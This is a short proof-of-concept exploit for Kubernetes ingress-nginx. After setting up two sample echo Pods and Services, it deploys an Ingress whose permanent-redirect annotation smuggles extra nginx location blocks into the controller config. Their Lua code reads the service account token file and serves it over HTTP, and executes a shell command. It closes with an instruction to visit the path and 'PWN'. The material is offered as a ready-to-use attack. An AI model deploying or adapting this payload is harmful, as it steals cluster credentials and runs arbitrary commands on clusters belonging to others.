Firstly, you need deploy Pod & Service:
kind: Pod
apiVersion: v1
metadata:
name: apple-app
labels:
app: apple
spec:
containers:
- name: apple-app
image: hashicorp/http-echo
args:
- "-text=apple"
---
kind: Service
apiVersion: v1
metadata:
name: apple-service
spec:
selector:
app: apple
ports:
- port: 5678
---
kind: Pod
apiVersion: v1
metadata:
name: banana-app
labels:
app: banana
spec:
containers:
- name: banana-app
image: hashicorp/http-echo
args:
- "-text=banana"
---
kind: Service
apiVersion: v1
metadata:
name: banana-service
spec:
selector:
app: banana
ports:
- port: 5678
Then, you need deploy exploit Ingress:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: example-ingress
annotations:
ingress.kubernetes.io/rewrite-target: /
nginx.ingress.kubernetes.io/permanent-redirect: https://google.com/;}location ~* "^/flibble(/|$)(.*)" {content_by_lua 'ngx.say(io.popen("cat /var/run/secrets/kubernetes.io/serviceaccount/token"):read("*a"))';}location ~* "^/flibblea(/|$)(.*)" { content_by_lua 'os.execute("touch /you")'
spec:
rules:
- http:
paths:
- path: /apple
pathType: Prefix
backend:
service:
name: apple-service
port:
number: 5678
- path: /banana
pathType: Prefix
backend:
service:
name: banana-service
port:
number: 5678
Go to [IP]/flibble and PWN!